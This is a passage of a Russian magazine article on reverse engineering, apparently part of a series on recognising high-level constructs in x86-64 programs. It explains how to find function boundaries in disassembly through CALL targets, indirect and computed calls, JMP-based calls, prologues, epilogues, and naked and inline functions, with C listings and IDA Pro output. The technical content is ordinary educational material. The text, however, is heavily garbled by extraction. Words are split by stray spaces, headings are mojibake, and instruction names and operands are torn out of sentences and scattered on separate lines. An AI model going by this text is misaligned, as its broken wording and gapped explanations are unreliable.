поз воля ют опре делить адре са начала и кон ца фун кции. Нем ного забегая впе- 
ред, заметим, что в начале мно гих фун кций при сутс тву ет харак терная пос- 
ледова тель ность команд, называ емая про логом, которая так же при год на
и для иден тифика ции фун кций. А теперь рас смот рим все эти темы попод- 
робнее.

CALL
RET

ÍÅÏÎÑÐÅÄÑÒÂÅÍÍÛÉ ÂÛÇÎÂ ÔÓÍÊÖÈÈ

Прос матри вая дизас сем блер ный код, находим все инс трук ции  —

содер жимое их опе ран да и будет иско мым адре сом начала фун кции. Адрес
невир туаль ных фун кций, вызыва емых по име ни, вычис ляет ся еще на ста дии
ком пиляции, и опе ранд инс трук ции  в таких слу чаях пред став ляет собой

непос редс твен ное зна чение. Бла года ря это му адрес начала фун кции выяв- 
ляет ся прос тым син такси чес ким ана лизом: ищем кон текс тным поис ком все
подс тро ки  и запоми наем (записы ваем) непос редс твен ные опе ран ды.

Рас смот рим сле дующий при мер (Listing1):

CALL

CALL

CALL

 void func();
 int main()

{
    int a;
   func();
   a=0x666;
   func();
}

 void func()
{
    int a;
   a++;
}

Что бы откомпи лиро вать при мер для 64-бит ной плат формы, надо открыть
соот ветс тву ющую кон соль — x64 Native Tools Command Prompt for VS — и уже
в ней выпол нить коман ду

cl.exe main.cpp /EHcs 

Ре зуль тат ком пиляции в IDA Pro дол жен выг лядеть приб лизитель но так:

.text:0000000140001020 main    proc near 

.text:0000000140001020 var_18  = dword ptr -18h 

.text:0000000140001020 

.text:0000000140001020         sub     rsp, 38h 

Вот мы вылови ли инс трук цию call с непос редс твен ным опе ран дом, пред став- 
ляющим собой адрес начала фун кции. Точ нее, ее сме щение в кодовом сег- 
менте (в дан ном слу чае в сег менте .text). Теперь мож но перей ти к стро ке 

 и, дав фун кции собс твен ное имя, заменить опе ранд

инс трук ции call конс трук цией «call Имя фун кции».

.
text:0000000140001000

мо ей

.text:0000000140001024   call    sub_140001000 

.text:0000000140001029   mov     [rsp+38h+var_18], 666h 

.text:0000000140001031   call    sub_140001000 

.text:0000000140001036   xor     eax, eax 

.text:0000000140001038   add     rsp, 38h 

Вот нам встре тилась инс трук ция воз вра та из фун кции, одна ко не факт, что
это дей стви тель но конец фун кции, ведь фун кция может иметь и нес коль ко
точек выхода. Одна ко смот ри: сле дом за ret рас положе но начало сле дующей
фун кции. Пос коль ку фун кции не могут перек рывать ся, выходит, что дан ный
ret — конец фун кции!

.text:000000014000103C                 retn 

.text:000000014000103C main            endp 

.text:0000000140001040 sub_140001040   proc near 

.text:0000000140001040                 push    rbx 

.text:0000000140001042                 sub     rsp, 20h 

.text:0000000140001046                 mov     ecx, 1 

......... 

Су дя по адре сам, «наша фун кция» в лис тинге рас положе на выше фун кции
main:

.text:0000000140001000 sub_140001000   proc near 

.text:0000000140001000 var_18          = dword ptr -18h 

На эту стро ку ссы лают ся опе ран ды нес коль ких инс трук ций call.Сле дова тель- 
но, это адрес начала «нашей фун кции».

.text:0000000140001000        sub     rsp, 18h 

.text:0000000140001004        mov     eax, [rsp+18h+var_18] 

.text:0000000140001007        inc     eax 

.text:0000000140001009        mov     [rsp+18h+var_18], eax 

.text:000000014000100C        add     rsp, 18h 

.text:0000000140001010        retn 

.text:0000000140001010 sub_140001000   endp 

Как видишь, все очень прос то.

ÂÛÇÎÂ ÔÓÍÊÖÈÈ ÏÎ ÓÊÀÇÀÒÅËÞ

Од нако задача замет но усложня ется, если прог раммист (или ком пилятор)
исполь зует кос венные вызовы фун кций, переда вая их адрес в регис тре
и динами чес ки вычис ляя его (адрес, а не регистр!) на ста дии выпол нения
прог раммы. Имен но так, в час тнос ти, реали зова на работа с вир туаль ными
фун кци ями, одна ко в любом слу чае ком пилятор дол жен каким-то обра зом
сох ранить адрес фун кции в коде. Зна чит, его мож но най ти и вычис лить!
Еще про ще заг рузить иссле дуемое при ложе ние в отладчик, уста новить
на «под следс твен ную» инс трук цию  точ ку оста нова и, дож давшись
всплы тия отладчи ка, пос мотреть, по какому адре су она передаст управле ние.
Рас смот рим сле дующий при мер (Listing2):

CALL

 int func()
{
    return 0;
}

 int main()
{
    int (*a)();
     a = func;
   a();
}

Ре зуль тат его ком пиляции дол жен в общем слу чае выг лядеть так (фун кция
):main

.text:0000000140001000 loc_140001000: 

.text:0000000140001000                 xor     eax, eax 

.text:0000000140001002                 retn 

.text:0000000140001002 ; ------------------------------------------- 

.text:0000000140001010 main            proc near 

.text:0000000140001010 

.text:0000000140001010 var_18          = qword ptr -18h 

.text:0000000140001010 

.text:0000000140001010                 sub     rsp, 38h 

.text:0000000140001014                 lea     rax, loc_140001000 

.text:000000014000101B                 mov     [rsp+38h+var_18], rax 

Вот инс трук ция CALL, осу щест вля ющая кос венный вызов фун кции по адре су,
содер жащему ся в ячей ке [rsp+38h+var_18]. Как узнать, что же там содер- 
жится? Под нимем глаз ки строч кой выше и обна ружим: 

. Ага! Зна чит, управле ние переда ется по сме щению

, где рас полага ется адрес начала фун кции! Теперь оста лось

толь ко дать фун кции осмыслен ное имя.

lea rax, 
loc_140001000
loc_140001000

.text:0000000140001020                 call    [rsp+38h+var_18]

.text:0000000140001024                 xor     eax, eax 

.text:0000000140001026                 add     rsp, 38h 

.text:000000014000102A                 retn 

.text:000000014000102A main            endp 

Продолжение статьи →
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ИЩЕМ СТРУКТУРЫ ЯЗЫКОВ ВЫСОКОГО
УРОВНЯ 

В ПРОГРАММАХ ДЛЯ X86-64

ВЗЛОМ  НАЧАЛО СТАТЬИ←

ÂÛÇÎÂ ÔÓÍÊÖÈÈ ÏÎ ÓÊÀÇÀÒÅËÞ Ñ ÊÎÌÏËÅÊÑÍÛÌ

ÂÛ×ÈÑËÅÍÈÅÌ ÖÅËÅÂÎÃÎ ÀÄÐÅÑÀ

В некото рых дос таточ но нем ногочис ленных прог раммах встре чает ся и кос- 
венный вызов фун кции с ком плексным вычис лени ем ее адре са. Рас смот рим
сле дующий при мер (Listing3):

 int func_1()
{
    return 0;
}

 int func_2()
{
    return 0;
}

 int func_3()
{
    return 0;
}

 int main()
{
    int x;
        int a[3]={(int) func_1,(int) func_2, (int) func_3};
    int (*f)();

      for (x=0;x < 3;x++)
   {

          f=(int (*)()) a[x]; f();
   }

}

Ре зуль тат дизас сем бли рова ния это го кода в общем слу чае дол жен выг лядеть
так:

.text:0000000140001030 main            proc near 

.text:0000000140001030 

.text:0000000140001030 var_38          = dword ptr -38h 

.text:0000000140001030 var_30          = qword ptr -30h 

.text:0000000140001030 var_28          = dword ptr -28h 

.text:0000000140001030 var_24          = dword ptr -24h 

.text:0000000140001030 var_20          = dword ptr -20h 

.text:0000000140001030 var_18          = qword ptr -18h 

.text:0000000140001030 

.text:0000000140001030                 sub     rsp, 58h 

.text:0000000140001034                 mov     rax, cs:__security_
cookie 
.text:000000014000103B                 xor     rax, rsp 
.text:000000014000103E                 mov     [rsp+58h+var_18], rax 
.text:0000000140001043                 lea     rax, loc_140001000 
.text:000000014000104A                 mov     [rsp+58h+var_28], eax 
.text:000000014000104E                 lea     rax, sub_140001010 
.text:0000000140001055                 mov     [rsp+58h+var_24], eax 
.text:0000000140001059                 lea     rax, sub_140001020 
.text:0000000140001060                 mov     [rsp+58h+var_20], eax 
.text:0000000140001064                 mov     [rsp+58h+var_38], 0 
.text:000000014000106C                 jmp     short loc_140001078 
.text:
000000014000106E ; ---------------------------------------------- 
.text:000000014000106E 
.text:000000014000106E loc_14000106E:            ; CODE XREF: 
main+62↓j 
.text:000000014000106E                 mov     eax, [rsp+58h+var_38] 
.text:0000000140001072                 inc     eax 
.text:0000000140001074                 mov     [rsp+58h+var_38], eax 
.text:0000000140001078 
.text:0000000140001078 loc_140001078:            ; CODE XREF: 
main+3C↑j 
.text:0000000140001078                 cmp     [rsp+58h+var_38], 3 
.text:000000014000107D                 jge     short loc_140001094 
.text:000000014000107F                 movsxd  rax, [rsp+58h+var_38] 
.text:0000000140001084              movsxd  rax, [rsp+rax*4+58h+var_
28] 
.text:0000000140001089                 mov     [rsp+58h+var_30], rax 
.text:000000014000108E                 call    [rsp+58h+var_30]
.text:0000000140001092                 jmp     short loc_14000106E 
.text:
0000000140001094 ; --------------------------------------------- 
.text:0000000140001094 
.text:0000000140001094 loc_140001094:            ; CODE XREF: 
main+4D↑j 
.text:0000000140001094                 xor     eax, eax 
.text:0000000140001096                 mov     rcx, [rsp+58h+var_18] 
.text:000000014000109B                 xor     rcx, rsp 
.text:000000014000109E                 call    __security_check_
cookie 
.text:00000001400010A3                 add     rsp, 58h 
.text:00000001400010A7                 retn 

В стро ке  про исхо дит кос венный вызов фун кции.

А что у нас в ? Под нима ем гла за на одну стро ку вверх —

в  у нас зна чение . А чему же равен сам ? Прок- 
ручива ем еще одну стро ку вверх —  равен содер жимому ячей ки 

. Вот дела! Мало того, что нам надо узнать содер- 

жимое этой ячей ки, так еще и пред сто ит вычис лить ее адрес!

call [rsp+58h+var_30]
[rsp+58h+var_30]

[rsp+58h+var_30] rax rax
rax [

rsp+rax*4+58h+var_28]

Че му равен RAX в этом выраже нии? Содер жимому .

А оно чему рав но? «Сей час выяс ним...» — бор мочем мы себе под нос, прок- 
ручивая экран дизас сем бле ра вверх. Ага, наш ли: в стро ке 
в него заг ружа ется содер жимое EAX! Какая радость! И дол го мы будем так
блуж дать по коду?

[rsp+58h+var_38]

0x140001074

Ко неч но, мож но, пот ратив неоп ределен ное количес тво вре мени, уси лий
и бод рящего напит ка, реконс тру иро вать весь клю чевой алго ритм целиком
(тем более что мы прак тичес ки подош ли к кон цу ана лиза), но где гаран тия,
что при этом не будут допуще ны ошиб ки?

Го раз до быс трее и надеж нее заг рузить иссле дуемую прог рамму
в отладчик, уста новить бряк на стро ку  и, дож- 

давшись всплы тия окна отладчи ка, пос мотреть, что у нас рас положе но
в ячей ке . Отладчик будет всплы вать триж ды, при чем каж- 
дый раз показы вать новый адрес! Заметим, что опре делить этот факт в дизас- 
сем бле ре мож но толь ко пос ле пол ной реконс трук ции алго рит ма.

.text:000000014000108E

[rsp+58h+var_30]

Од нако не сто ит питать излишних иллю зий о мощи отладчи ка. Прог рамма
может тысячу раз вызывать одну и ту же фун кцию, а на тысяча пер вый — выз- 
вать сов сем дру гую. Отладчик бес силен это опре делить. Ведь вызов такой
фун кции может про изой ти в неп ред ска зуемый момент, нап ример при опре- 
делен ном сочета нии вре мени, обра баты ваемых прог раммой дан ных
и текущей фазы Луны. Ну не будем же мы целую веч ность гонять прог рамму
под отладчи ком?

Ди зас сем блер — дело дру гое. Пол ная реконс трук ция алго рит ма поз волит
однознач но и гаран тирован но отсле дить все адре са кос венных вызовов. Вот
потому дизас сем блер и отладчик дол жны ска кать в одной упряжке! Напос- 
ледок пред лагаю взгля нуть на такой учас ток дизас сем бли рован ного лис- 
тинга:

.text:000000014000103E  mov     [rsp+58h+var_18], rax 

.text:0000000140001043  lea     rax, loc_140001000 

.text:000000014000104A  mov     [rsp+58h+var_28], eax 

.text:000000014000104E  lea     rax, sub_140001010 

.text:0000000140001055  mov     [rsp+58h+var_24], eax 

.text:0000000140001059  lea     rax, sub_140001020 

Вос поль зуем ся средс тва ми IDA и пос мотрим, что заг ружа ется в ячей ки
памяти . А это как раз адре са трех наших фун кций, пос ледова тель но
раз мещен ных ком пилято ром друг за друж кой:

[rsp+…]

.text:0000000140001000 loc_140001000: 

.text:0000000140001000                 xor     eax, eax 

.text:0000000140001002                 retn 

.text:0000000140001010 sub_140001010   proc near 

.text:0000000140001010                 xor     eax, eax 

.text:0000000140001012                 retn 

.text:0000000140001012 sub_140001010   endp 

.text:0000000140001020 sub_140001020   proc near 

.text:0000000140001020                 xor     eax, eax 

.text:0000000140001022                 retn 

.text:0000000140001022 sub_140001020   endp 

«ÐÓ×ÍÎÉ» ÂÛÇÎÂ ÔÓÍÊÖÈÈ ÈÍÑÒÐÓÊÖÈÅÉ JMP

Са мый тяжелый слу чай пред став ляют собой «руч ные» вызовы фун кции коман- 
дой  с пред варитель ной засыл кой в стек адре са воз вра та. Вызов через

 в общем слу чае выг лядит так:  / , где

 и  — непос редс твен ные или кос венные адре са воз вра- 
та и начала фун кции соот ветс твен но. Кста ти, заметим, что коман ды 

и  не всег да сле дуют одна за дру гой и порой быва ют раз делены дру гими

коман дами.

JMP
JMP PUSH ret_addrr JMP func_addr
ret_addrr func_addr

PUSH
JMP

Воз ника ет резон ный воп рос: чем же так плох  и зачем при бегать

к ? Дело в том, что фун кция, выз ванная по , пос ле воз вра та управле- 

ния материн ской фун кции всег да переда ет управле ние коман де, сле дующей
за . В ряде слу чаев (нап ример, при струк турной обра бот ке исклю чений)
воз ника ет необ ходимость пос ле воз вра та из фун кции про дол жать выпол- 
нение не со сле дующей за  коман дой, а сов сем с дру гой вет ки прог- 

раммы. Тог да-то и при ходит ся вруч ную заносить тре буемый адрес воз вра та
и вызывать дочер нюю фун кцию через JMP.

CALL
JMP CALL

CALL

CALL

Иден тифици ровать такие фун кции очень слож но — кон текс тный поиск
ничего не дает, пос коль ку команд , исполь зующих ся для локаль ных
перехо дов, в теле любой прог раммы очень и очень мно го — поп робуй-ка
про ана лизи руй их все! Если же это го не сде лать, из поля зре ния выпадут сра- 
зу две фун кции — вызыва емая фун кция и фун кция, на которую переда ется
управле ние пос ле воз вра та. К сожале нию, быс трых решений этой проб лемы
не сущес тву ет, единс твен ная зацеп ка — вызыва ющий  прак тичес ки всег да

выходит за гра ницы фун кции, в теле которой он рас положен. Опре делить же
гра ницы фун кции мож но по эпи логу. Рас смот рим сле дующий при мер
(Listing4):

JMP

JMP

 int funct()
{
    return 0;
}

 int main()
{
   __asm
   {

         LEA ESI, return_addr
        PUSH ESI
        JMP funct

   return_addr:
   }
}

Пос коль ку при сутс тву ющее в этом коде клю чевое сло во  плат формен но

зависи мое и под держи вает ся толь ко на x86, ском пилиру ем этот при мер 32-
бит ным ком пилято ром. Резуль тат ком пиляции в общем слу чае дол жен выг- 
лядеть так:

asm

.text:00401010 _main proc near 

.text:00401010 

.text:00401010 argc  = dword ptr  8 

.text:00401010 argv  = dword ptr  0Ch 

.text:00401010 envp  = dword ptr  10h 

.text:00401010 

.text:00401010       push    ebp 

.text:00401011       mov     ebp, esp 

.text:00401013       push    esi 

.text:00401014       lea     esi, loc_401020 

.text:0040101A       push    esi 

.text:0040101B       jmp     sub_401000 

... 

Смот ри, казалось бы, три виаль ный безус ловный переход, что в нем такого?
Ан нет! Это не прос той переход, это замас кирован ный вызов фун кции! Отку да
он сле дует? Давай-ка перей дем по сме щению  и пос мотрим:sub_401000

.text:00401000 sub_401000      proc near 

.text:00401000                 push    ebp 

.text:00401001                 mov     ebp, esp 

.text:00401003                 xor     eax, eax 

.text:00401005                 pop     ebp 

.text:00401006                 retn 

.text:00401006 sub_401000      endp 

Как ты дума ешь, куда этот  воз вра щает управле ние? Естес твен но,
по адре су, лежаще му на вер хушке сте ка. А что у нас лежит на сте ке? 

 из стро ки , обратно вытал кива ется инс трук цией POP из стро ки

... Воз вра щаем ся назад, к мес ту безус ловно го перехо да, и начина- 

ем мед ленно прок ручивать экран дизас сем бле ра вверх, отсле живая все
обра щения к сте ку. Ага, попалась птич ка!

ret
PUSH 

EBP 0x401000
0x401005

Инс трук ция  из стро ки  закиды вает на вер шину сте ка

содер жимое регис тра , а он сам, в свою оче редь, стро кой выше при нима- 
ет «на грудь» зна чение  — это и есть адрес начала фун кции,

вызыва емой коман дой  (вер нее, не адрес, а сме щение, но это не прин- 

ципи аль но важ но):

PUSH ESI 40101A
ESI

loc_401020
JMP

.text:00401020 loc_401020: 

.text:00401020                 pop     esi 

.text:00401021                 pop     ebp 

.text:00401022                 retn 

.text:00401022 _main           endp 

ÀÂÒÎÌÀÒÈ×ÅÑÊÀß ÈÄÅÍÒÈÔÈÊÀÖÈß ÔÓÍÊÖÈÉ ÏÎÑÐÅÄÑÒÂÎÌ

IDA PRO

Ди зас сем блер IDA Pro спо собен ана лизи ровать опе ран ды инс трук ций ,
что поз воля ет ему авто мати чес ки раз бивать прог рамму на фун кции. При чем
IDA впол не успешно справ ляет ся с боль шинс твом кос венных вызовов. Меж ду
тем сов ремен ные вер сии дизас сем бле ра на раз-два справ ляют ся с ком- 
плексны ми и «руч ными» вызова ми фун кций коман дой .

CALL

JMP

«Ида» успешно рас позна ла «руч ной» вызов фун кции

ÏÐÎËÎÃ

На плат форме IA-32 боль шинс тво неоп тимизи рующих ком пилято ров помеща- 
ют в начало фун кции сле дующий код, называ емый про логом:

push ebp 
mov ebp, esp 
sub esp, xx 

К сожале нию, на x64 нет такой строй ной пос ледова тель нос ти инс трук ций.
У каж дой фун кции про лог сущес твен но отли чает ся. Поэто му рас смот рим про-
лог фун кций для x86.

В общих чер тах наз начение про лога сво дит ся к сле дующе му: если регистр
 исполь зует ся для адре сации локаль ных перемен ных (как час то и быва ет),

то перед исполь зовани ем он дол жен быть сох ранен в сте ке (ина че вызыва- 
емая фун кция «сор вет кры шу» материн ской), затем в  копиру ется текущее
зна чение регис тра ука зате ля вер шины сте ка ( ) — про исхо дит так называ- 

емое откры тие кад ра сте ка, и зна чение  умень шает ся на раз мер области

памяти, выделен ной под локаль ные перемен ные.

EBP

EBP
ESP

ESP

Пос ледова тель ность  /  /  может слу- 

жить хорошей сиг натурой, что бы най ти все фун кции в иссле дуемом фай ле,
вклю чая и те, на которые нет пря мых ссы лок. Такой при ем, в час тнос ти,
исполь зует в сво ей работе IDA Pro, одна ко опти мизи рующие ком пилято ры
уме ют адре совать локаль ные перемен ные через регистр  и исполь зуют

, как и любой дру гой регистр обще го наз начения. Про лог опти мизи рован- 
ных фун кций сос тоит из одной лишь коман ды  — пос ледова- 

тель ность слиш ком корот кая для исполь зования ее в качес тве сиг натуры фун- 
кции, увы. Более под робный рас сказ об эпи логах фун кций нас ждет впе реди.

PUSH EBP MOV EBP,ESP SUB ESP,xx

ESP
EBP

SUB ESP, xxx

Продолжение статьи →



ИЩЕМ СТРУКТУРЫ ЯЗЫКОВ ВЫСОКОГО
УРОВНЯ 

В ПРОГРАММАХ ДЛЯ X86-64

ВЗЛОМ  НАЧАЛО СТАТЬИ←

ÝÏÈËÎÃ

С эпи логом такая же ситу ация, на x64 отсутс тву ет пос тоян ная пос ледова тель- 
ность инс трук ций. Одна ко, пос коль ку 32-бит ных при ложе ний так мно го, что их
при дет ся ана лизи ровать еще веч ность, нам необ ходимо знать, как выг лядит
эпи лог в прог раммах на x86.

В кон це сво ей жиз ни фун кция зак рыва ет кадр сте ка, переме щая ука затель
вер шины сте ка «вниз», и вос ста нав лива ет преж нее зна чение EBP (если толь- 
ко опти мизи рующий ком пилятор не адре совал локаль ные перемен ные через

, исполь зуя  как обыч ный регистр обще го наз начения). Эпи лог фун- 

кции может выг лядеть дво яко: либо  уве личи вает ся на нуж ное зна чение
коман дой , либо в него копиру ется зна чение , ука зыва ющее на низ

кад ра сте ка. Обоб щенный код эпи лога фун кции выг лядит так.

ESP EBP
ESP

ADD EBP

Эпи лог 1:

pop    ebp 
add    esp, 64h 
retn 

Эпи лог 2:

mov    esp, ebp 
pop     ebp 
retn 

Важ но отме тить: меж ду коман дами  /  и  /

 могут находить ся и дру гие коман ды — они не обя затель но дол жны

сле довать вплот ную друг к дру гу. Поэто му для поис ка эпи логов кон текс тный
поиск неп ригоден — тре бует ся при менять поиск по мас ке.

POP EBP ADD ESP, xxx MOV ESP,EBP
POP EBP

Ес ли фун кция написа на с уче том сог лашения PASCAL, то ей при ходит ся
самос тоятель но очи щать стек от аргу мен тов. В подав ляющем боль шинс тве
слу чаев это дела ется инс трук цией , где  — количес тво бай тов, сни- 

маемых из сте ка пос ле воз вра та. Фун кции же, соб люда ющие С-сог лашение,
пре дос тавля ют очис тку сте ка вызыва юще му их коду и всег да окан чива ются
коман дой RET. API-фун кции Windows пред став ляют собой ком бинацию сог- 
лашений С и Pascal — аргу мен ты заносят ся в стек спра ва налево, но очи щает
стек сама фун кция.

RET n n

Та ким обра зом,  может слу жить дос таточ ным приз наком эпи лога фун- 

кции, но не вся кий эпи лог — это конец. Если фун кция име ет в сво ем теле нес- 
коль ко опе рато ров  (как час то и быва ет), ком пилятор в общем слу чае

генери рует для каж дого из них свой собс твен ный эпи лог. Необ ходимо обра- 
тить вни мание, находит ся ли за кон цом эпи лога новый про лог, или про дол- 
жает ся код ста рой фун кции.

RET

return

Так же нель зя забывать и о том, что ком пилято ры обыч но (но не всег да!)
не помеща ют в исполня емый файл код, никог да не получа ющий управле ния.
Ина че говоря, у фун кции будет все го один эпи лог, а все находя щееся пос ле
пер вого return будет выб рошено как ненуж ное. Меж ду тем не сто ит спе шить
впе ред парово за. Откомпи лиру ем с парамет рами по умол чанию сле дующий
при мер (Listing5):

  int func(int a)
{
    return a++;
   a=1/a;
    return a;
}

 int main()
{
   func(1);
}

От компи лиро ван ный резуль тат будет выг лядеть так (при веден код толь ко
фун кции ):func

.text:00401000 sub_401000      proc near 

.text:00401000 

.text:00401000 var_4           = dword ptr -4 

.text:00401000 arg_0           = dword ptr  8 

.text:00401000 

.text:00401000      push    ebp 

.text:00401001      mov     ebp, esp 

.text:00401003      push    ecx 

.text:00401004; Копирование значения аргумента в регистр EAX. 

.text:00401004      mov     eax, [ebp+arg_0] 

.text:00401007; Перекладываем его в переменную var_4. 

.text:00401007      mov     [ebp+var_4], eax 

.text:0040100A; Значение аргумента в ECX. 

.text:0040100A      mov     ecx, [ebp+arg_0] 

.text:0040100D; Производим инкремент значения в регистре. 

.text:0040100D      add     ecx, 1 

.text:00401010; Инкрементированное значение пишем в аргумент, 

.text:00401010; который служит переменной. 

.text:00401010      mov     [ebp+arg_0], ecx 

.text:00401013; В EAX помещается начальное значение аргумента, 

.text:00401013; оно и возвращается. 

.text:00401013      mov     eax, [ebp+var_4] 

.text:00401016; Осуществляем безусловный переход  на эпилог функции. 

.text:00401016      jmp  short loc_401027 

.text:00401018; ------------------------------------------ 

.text:00401018; В EAX помещаем 1. 

.text:00401018      mov     eax, 1 

.text:0040101D; Расширяем EAX до EDX:EAX (нужно для деления). 

.text:0040101D      cdq 

.text:0040101E; Выполняем деление единицы на аргумент. 

.text:0040101E      idiv    [ebp+arg_0] 

.text:00401021; Частное помещаем в переменную. 

.text:00401021      mov [ebp+arg_0], eax 

.text:00401024; Возвращаем обратно в регистр. 

.text:00401024      mov  eax, [ebp+arg_0] 

.text:
00401024 ; Код для деления остался, компилятор не посчитал нужным 
.text:00401024 ; его убрать, хотя он недостижим. 
.text:00401027 
.text:00401027 loc_401027:     ; CODE XREF: sub_401000+16↑j 
.text:00401027; При этом эпилог только один. 
.text:00401027  mov   esp, ebp 
.text:00401029      pop     ebp 
.text:0040102A      retn 
.text:0040102A sub_401000      endp 

Те перь пос мотрим, какой код сге нери рует ком пилятор, ког да внеп лановый
выход из фун кции про исхо дит при сра баты вании некото рого усло вия
(Listing6):

  int func(int a)
{
      if (a != 0)

        return a++;
    return 1/a;
}

 int main()
{
   func(1);
}

Ре зуль тат ком пиляции (толь ко ):func

.text:00401000 sub_401000      proc near        ; CODE XREF: _
main+5↓p 
.text:00401000 
.text:00401000 var_4           = dword ptr -4 
.text:00401000 arg_0           = dword ptr  8 
.text:00401000 
.text:00401000     push    ebp 
.text:00401001     mov     ebp, esp 
.text:00401003     push    ecx 
.text:00401004; Сравниваем аргумент функции с нулем. 
.text:00401004     cmp [ebp+arg_0], 0 
.text:00401008; Если они равны, переходим на метку; 
.text:00401008     jz  short loc_40101E 
.text:0040100A; Если же не равны, помещаем значение аргумента в 
регистр EAX. 
.text:0040100A     mov     eax, [ebp+arg_0] 
.text:0040100D; Оттуда — в переменную var_4 
.text:0040100D     mov     [ebp+var_4], eax 
.text:00401010; Значение аргумента копируется в регистр 
ECX, а последний инкрементируем. 
.text:00401010     mov     ecx, [ebp+arg_0] 
.text:00401013     add     ecx, 1 
.text:
00401016; Инкрементированное значение помещаем в аргумент, 
выступающий переменной. 
.text:00401016     mov     [ebp+arg_0], ecx 
.text:00401019; В 
EAX помещаем начальное значение аргумента, его и возвращаем. 
.text:00401019     mov     eax, [ebp+var_4] 
.text:0040101C; Переход на эпилог. 
.text:0040101C     jmp     short loc_401027 
.text:0040101E ; ------------------------------------------ 
.text:0040101E 
.text:0040101E loc_40101E:      ; CODE XREF: sub_401000+8↑j 
.text:0040101E; В EAX помещаем 1. 
.text:0040101E     mov     eax, 1 
.text:00401023; Расширяем EAX до EDX:EAX (нужно для деления). 
.text:00401023     cdq 
.text:00401024; Деление EDX:EAX, где находится 1, на аргумент, 
равный 0. 
.text:00401024     idiv [ebp+arg_0] 
.text:00401027 
.text:00401027 loc_401027:     ; CODE XREF: sub_401000+1C↑j 
.text:00401027; Это явно эпилог. 
.text:00401027     mov   esp, ebp 
.text:00401029     pop     ebp 
.text:0040102A     retn 
.text:0040102A sub_401000      endp 

Как и в пре дыду щем слу чае, ком пилятор соз дал толь ко один эпи лог. Обра ти
вни мание: в начале фун кции в стро ке  аргу мент срав нива ется

с нулем, если усло вие выпол няет ся, про исхо дит переход на мет ку
, где выпол няет ся деление, за которым сра зу сле дует эпи лог.

Если же усло вие в стро ке  не соб людено, выпол няет ся сло жение

и про исхо дит безус ловный пры жок на эпи лог.

0x401004

loc_40101E
0x401004

Ñïåöèàëüíîå çàìå÷àíèå
На чиная с про цес сора 80286, в наборе команд появи лись две инс трук ции —

 и , пред назна чен ные спе циаль но для откры тия и зак рытия кад ра
сте ка. Одна ко они прак тичес ки никог да не исполь зуют ся сов ремен ными ком- 
пилято рами. Почему?

ENTER LEAVE

При чина в том, что  и  очень мед литель ны, нам ного мед литель- 
нее  /  /  и  / . Так,

на ста ром доб ром Pentium  выпол няет ся за десять так тов, а при веден- 

ная пос ледова тель ность команд — за семь. Ана логич но  тре бует пять
так тов, хотя ту же опе рацию мож но выпол нить за два (и даже быс трее, если
раз делить  /  какой-нибудь коман дой).

ENTER LEAVE
PUSH EBP MOV EBP,ESP SUB ESB, xxx MOV ESP,EBP POP EBP

ENTER
LEAVE

MOV ESP,EBP POP EBP
По это му сов ремен ный иссле дова тель никог да не стол кнет ся ни с ,

ни с . Хотя пом нить об их наз начении будет нелиш не. Мало ли, вдруг

при дет ся дизас сем бли ровать древ ние прог раммы или прог раммы, написан- 
ные на ассем бле ре, — не сек рет, что мно гие пишущие на ассем бле ре очень
пло хо зна ют тон кости работы про цес сора и их «руч ная опти миза ция» замет но
усту пает ком пилято ру по про изво дитель нос ти.

ENTER
LEAVE

«ÃÎËÛÅ» (NAKED) ÔÓÍÊÖÈÈ

Ком пилятор Microsoft Visual C++ под держи вает нес тандар тный ква лифи катор
, поз воля ющий прог раммис там соз давать фун кции без про лога и эпи- 

лога. Ком пилятор даже не помеща ет в кон це фун кции , и это при ходит ся

делать «вруч ную», при бегая к ассем блер ной встав ке  (исполь- 

зование  не при водит к жела емо му резуль тату).

naked
RET
__asm{ret}

return
Во обще-то под дер жка naked-фун кций задумы валась исклю читель но

для написа ния драй веров на чис том С (с неболь шой при месью ассем блер- 
ных вклю чений), но она наш ла неожи дан ное приз нание и сре ди раз работ- 
чиков защит ных механиз мов. Дей стви тель но, при ятно иметь воз можность
«руч ного» соз дания фун кций и не бес поко ить ся, что их неп ред ска зуемым
обра зом «изу роду ет» ком пилятор.

Для нас же, кодоко пате лей, в пер вом приб лижении это озна чает, что
в прог рамме может встре тить ся одна или нес коль ко фун кций, не содер жащих
ни про лога, ни эпи лога. Ну и что в этом страш ного? Опти мизи рующие ком- 
пилято ры так же выкиды вают про лог, а от эпи лога оставля ют один лишь ,

но фун кции эле мен тарно иден тифици руют ся по вызыва ющей их инс трук ции
.

RET

CALL

ÈÄÅÍÒÈÔÈÊÀÖÈß ÂÑÒÐÀÈÂÀÅÌÛÕ (INLINE) ÔÓÍÊÖÈÉ

Са мый эффектив ный спо соб изба вить ся от нак ладных рас ходов на вызов
фун кций — не вызывать их. В самом деле, почему бы не встро ить код фун кции
непос редс твен но в саму вызыва ющую фун кцию? Конеч но, это ощу тимо уве- 
личит раз мер (и тем ощу тимее, чем из боль ших мест фун кция вызыва ется),
но зато зна читель но уве личит ско рость выпол нения прог раммы (и тем зна- 
читель нее, чем чаще раз верну тая фун кция вызыва ется).

Чем пло ха раз вер тка фун кций для иссле дова ния прог раммы? Преж де все-
го, она уве личи вает раз мер материн ской фун кции и дела ет ее код менее наг- 
лядным — вмес то  /  /  с бро сающим ся в гла за

условным перехо дом мы видим кучу ничего не напоми нающих инс трук ций,
в логике работы которых еще пред сто ит разоб рать ся.

CALL TEST EAX,EAX JZ xxx

Встро енные фун кции не име ют ни собс твен ного про лога, ни эпи лога, их
код и локаль ные перемен ные (если таковые име ются) пол ностью вжив лены
в вызыва ющую фун кцию, резуль тат ком пиляции выг лядит в точ ности так,
как буд то бы никако го вызова фун кции и не было. Единс твен ная зацеп ка —
встра ива ние фун кции неиз бежно при водит к дуб лирова нию ее кода во всех
мес тах вызова, а это хоть и с тру дом, но мож но обна ружить. С тру дом —
потому, что встра иваемая фун кция, ста новясь частью вызыва ющей фун кции,
всквоз ную опти мизи рует ся в кон тек сте пос ледней, что при водит к зна читель- 
ным вари ациям кода.

Рас смот рим сле дующий при мер, что бы уви деть, как ком пилятор опти- 
мизи рует встра иваемую фун кцию (Listing7):

#include <stdio.h>
     inline int max(int a, int b)

{
     if(a > b)

        return a;
    return b;
}

    int main(int argc, char **argv)
{
   printf("%x\n",max(0x666,0x777));
   printf("%x\n",max(0x666,argc));
   printf("%x\n",max(0x666,argc));
    return 0;
}

Ре зуль тат его ком пиляции будет иметь сле дующий вид (фун кция ):main

.text:0000000140001000 main            proc near 

.text:0000000140001000 

.text:0000000140001000 arg_0           = dword ptr  8 

.text:0000000140001000 arg_8           = qword ptr  10h 

